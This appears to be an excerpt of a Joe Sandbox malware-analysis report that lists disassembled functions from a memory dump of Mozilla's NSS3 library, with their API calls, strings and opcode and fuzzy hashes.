PR_SetError.NSS3 ref: 6CE98E49

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction ID: 9d6eb7e272b6cfca998919f8fa9acfcb01d6b6f69641f17ea468c060fda3eaf0
Opcode Fuzzy Hash: 07dee5e37f0c2e9709cf17c10e890bc2588d2d47df8820ed7262346ee913609f
Instruction Fuzzy Hash: AD118F71A15A109FDB40AF78C44826ABBF4FF05318F11492AEC8997B00E730E894CBC1

Function 6CF1AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CF05F17,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF1ACDB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction ID: 51cfa157cc7e127db9bd42b720664ee9fd6d0cde73a18b7f22d434713e1bbbe4
Opcode Fuzzy Hash: d46e0fbe14fc7515d8aeeb303610f914f184c4875e5fdab64d291a4cbbb9999c
Instruction Fuzzy Hash: 66015EB1B01B019BEB50DF3AE908753B7E8BF00699B104839D85AD3E00E731F159CB91

Function 6CE81DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CE81DFB

Part of subcall function 6CE795B0: TlsGetValue.KERNEL32(00000000,?,6CE900D2,00000000), ref: 6CE795D2
Part of subcall function 6CE795B0: EnterCriticalSection.KERNEL32(?,?,?,6CE900D2,00000000), ref: 6CE795E7
Part of subcall function 6CE795B0: PR_Unlock.NSS3(?,?,?,?,6CE900D2,00000000), ref: 6CE79605

PR_EnterMonitor.NSS3 ref: 6CE81E09

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CE7E190: PR_EnterMonitor.NSS3(?,?,6CE7E175), ref: 6CE7E19C
Part of subcall function 6CE7E190: PR_EnterMonitor.NSS3(6CE7E175), ref: 6CE7E1AA
Part of subcall function 6CE7E190: PR_ExitMonitor.NSS3 ref: 6CE7E208
Part of subcall function 6CE7E190: PL_HashTableRemove.NSS3(?), ref: 6CE7E219
Part of subcall function 6CE7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7E231
Part of subcall function 6CE7E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE7E249
Part of subcall function 6CE7E190: PR_ExitMonitor.NSS3 ref: 6CE7E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81E37
PR_ExitMonitor.NSS3 ref: 6CE81E4A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 7b6b52f291cb73edb3df6a408ecb2bab6e974a82da8ea84e2f5cce2155f9d404
Instruction ID: 29b33d001011f6bfdd950068c714e2631abb92083a7559c2a67bf8ade056d038
Opcode Fuzzy Hash: 7b6b52f291cb73edb3df6a408ecb2bab6e974a82da8ea84e2f5cce2155f9d404
Instruction Fuzzy Hash: 7C018471B1115097EB105AA5EC40F467774AB4274CF300135E92D97B51E771E814CBE2

Function 6CE81D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE81D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE81D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6CE81D9C
free.MOZGLUE(00000000), ref: 6CE81DB8

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 9d80f0f014a618efe40f931cb86893ddc15c16d56666addffe83adb46aced05c
Instruction ID: db221384332c9a057a581b98cc8e1493a1a7ffb510de352b9c261aa761410dfa
Opcode Fuzzy Hash: 9d80f0f014a618efe40f931cb86893ddc15c16d56666addffe83adb46aced05c
Instruction Fuzzy Hash: 6EF0D6B2A0225057EB101F999C42B473678DB8179DF350636D92D9BB85D661E40582E1

Function 6CEC88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6CED08AA,?), ref: 6CEC88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6CED08AA,?), ref: 6CEC890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6CED08AA,?), ref: 6CEC8936
PR_Unlock.NSS3(?,?,?,?,?,6CED08AA,?), ref: 6CEC8940

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 2cd09457d0f4ef84b9abaca74dbccf33497cad353cb04609c570d554f75fc5d1
Instruction ID: c126e2b21dca7b54354ef68ad0294f3d4a64474829dce68e64aaf7c08ca8e603
Opcode Fuzzy Hash: 2cd09457d0f4ef84b9abaca74dbccf33497cad353cb04609c570d554f75fc5d1
Instruction Fuzzy Hash: 44016D74B14A459BDB10AF39C284659BBF4FF0639CF115A2AD89887B00E730E594CBC3

Function 6CF1AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC2D

Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
Part of subcall function 6CEBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
Part of subcall function 6CEBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
Part of subcall function 6CEBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9

PK11_FreeSymKey.NSS3(?,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6CF05D40,00000000,?,?,6CEF6AC6,6CF0639C), ref: 6CF1AC59
free.MOZGLUE(8CB6FF01,6CEF6AC6,6CF0639C,?,?,?,?,?,?,?,?,?,6CF05D40,00000000,?,6CF0AAD4), ref: 6CF1AC62

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction ID: 1a0bb2aa7df5fc5176a699b0e4614883b36afe346da80e065cf18c144a9c4721
Opcode Fuzzy Hash: 6cbe13ceafc6507ff041c4da8f2ba9fd2ce81847caa685234ac5a3a913830f15
Instruction Fuzzy Hash: E0014BB56046009FDF00DF15E9C0B56B7F8AF44B5CF188468E9499FB06E735E948CBA2

Function 6CECFD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CE79003,?), ref: 6CECFD91

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PORT_Alloc_Util.NSS3(A4686CED,?), ref: 6CECFDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686CED,?,?), ref: 6CECFDC4
free.MOZGLUE(00000000,?,?), ref: 6CECFDD1

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: e93fdc40a31654e9e9ea7449e0988036cfc5418d687e87903f76f508a1965210
Instruction ID: f2b3d900077777d31bea12c46565bc738c5e0ae2fbdb3f6a0fed4279bf3f54b9
Opcode Fuzzy Hash: e93fdc40a31654e9e9ea7449e0988036cfc5418d687e87903f76f508a1965210
Instruction Fuzzy Hash: FEF028B17012025BEB044B55DD80A5B7B78EF4079CB248134ED288BB01E731E815C3F2

Function 6CF8CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC61
free.MOZGLUE ref: 6CF8CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6CF8CC80
free.MOZGLUE(?), ref: 6CF8CC87

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction ID: 19ae0842b4c09d704a0ab4a5b3d8f4b0053d09ce58da967075bd5525e11cd27c
Opcode Fuzzy Hash: 35e3fcd14e3a1caa46a6bf255182caa0b8734bb708f3c87ecbfd6b71e7cd71a2
Instruction Fuzzy Hash: 44E065767006089FCA10EFA9DC48C8777BCEE492703150525E691C3700D232F905CBE1

Function 6CE69DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6CE69E1F

Part of subcall function 6CE213C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6CDF2352,?,00000000,?,?), ref: 6CE21413
Part of subcall function 6CE213C0: memcpy.VCRUNTIME140(00000000,6CDF2352,00000002,?,?,?,?,6CDF2352,?,00000000,?,?), ref: 6CE214C0

Strings

ESCAPE expression must be a single character, xrefs: 6CE69F78
LIKE or GLOB pattern too complex, xrefs: 6CE6A006

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 1d1636e44f3a51e149cd10eb7e6dc4db44112aec40c9a4679008373e54c762fc
Instruction ID: adfc7072bff29327dbbdf3e362aa2343070e124926ed0f2a739ad78b6d6269ca
Opcode Fuzzy Hash: 1d1636e44f3a51e149cd10eb7e6dc4db44112aec40c9a4679008373e54c762fc
Instruction Fuzzy Hash: 04810870A546518BDB00CF2AC0813BAB7F2AF8631CF398659D8A48BF85D736D847C791

Function 6CEC4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6CEC4DE6

Strings

%d.%d, xrefs: 6CEC4DDE

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction ID: 67a7e57820ce96533142ceca3f2c8526665d5666c738cc471e6afdbdd2164297
Opcode Fuzzy Hash: 37bc9b6e1634a11b0c1882c216704614e14775486cfedf25b6c492f2bda86c22
Instruction Fuzzy Hash: FD31FEF2E042186BEB506BA19C45BFF7B78DF41308F150469ED259B741EB349905CBE2

Function 6CEE4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8l,00000000,00000000,?,?,6CEE3827,?,00000000), ref: 6CEE4D0A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6CEE4D22

Part of subcall function 6CECFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE71A3E,00000048,00000054), ref: 6CECFD56

Strings

'8l, xrefs: 6CEE4D07

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8l
API String ID: 1521942269-1867215535
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0d6c6b04d9c244a685d5769de52fefc3f7134e979edd5898dd6fd978869ac22c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 43F0683260113857DB104DAA9C4078736FC9B496FDF350272DD28CBB81E631DC058692

Function 6CF0AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6CF0AF78

Part of subcall function 6CE6ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE6ACE2
Part of subcall function 6CE6ACC0: malloc.MOZGLUE(00000001), ref: 6CE6ACEC
Part of subcall function 6CE6ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE6AD02
Part of subcall function 6CE6ACC0: TlsGetValue.KERNEL32 ref: 6CE6AD3C
Part of subcall function 6CE6ACC0: calloc.MOZGLUE(00000001,?), ref: 6CE6AD8C
Part of subcall function 6CE6ACC0: PR_Unlock.NSS3 ref: 6CE6ADC0
Part of subcall function 6CE6ACC0: PR_Unlock.NSS3 ref: 6CE6AE8C
Part of subcall function 6CE6ACC0: free.MOZGLUE(?), ref: 6CE6AEAB

memcpy.VCRUNTIME140(6CFD3084,6CFD02AC,00000090), ref: 6CF0AF94

Strings

SSL, xrefs: 6CF0AF73

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 39a3a73233123fbcf1ea8633731ce4fcf9f76d7b13556ed8b00b0b6241ae6e09
Instruction ID: 1d9e3bf0d527a464bddffd1d38152dffa510c538a34a994e47372284027fe914
Opcode Fuzzy Hash: 39a3a73233123fbcf1ea8633731ce4fcf9f76d7b13556ed8b00b0b6241ae6e09
Instruction Fuzzy Hash: D7215CB6B25A489BCB80EF71A82B3167A71B302B0C7555918C3190BF25D772614CAFE2

Function 6CE60F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F1B

Part of subcall function 6CE61370: GetSystemInfo.KERNEL32(?,?,?,?,6CE60936,?,6CE60F20,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000), ref: 6CE6138F

PR_NewLogModule.NSS3(clock,6CE60936,FFFFE8AE,?,6CDF16B7,00000000,?,6CE60936,00000000,?,6CDF204A), ref: 6CE60F25

Part of subcall function 6CE61110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001,00000040), ref: 6CE61130
Part of subcall function 6CE61110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001,00000040), ref: 6CE61142
Part of subcall function 6CE61110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE60936,00000001), ref: 6CE61167

Strings

clock, xrefs: 6CE60F20

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 682263548c41266a437e24f3dc28b8e5bdb9284adc0dd8b66407f18c4c0ff1b1
Instruction ID: 26c91263f251e7a46d232a2eb2da5c1ec2bb721c372223c0ee47876c84b1fb7f
Opcode Fuzzy Hash: 682263548c41266a437e24f3dc28b8e5bdb9284adc0dd8b66407f18c4c0ff1b1
Instruction Fuzzy Hash: 7AD02232AA020451C54222E79C4DB96FABCC7C3279F20082AE00883E000A2768EBC2A9

Function 6CED0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6CED0DF5
TlsGetValue.KERNEL32 ref: 6CED0E2D
TlsGetValue.KERNEL32 ref: 6CED0E58
TlsGetValue.KERNEL32 ref: 6CED0E84

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
Instruction ID: 9ef8f27b5267201be69033d9e2a1e97591189dd3a1ea6db9632a0a265cf63f54
Opcode Fuzzy Hash: 485d6f723ab67922bef415a97fdc65a02679e7d9d0a6a52b723b9e49ec6c0fee
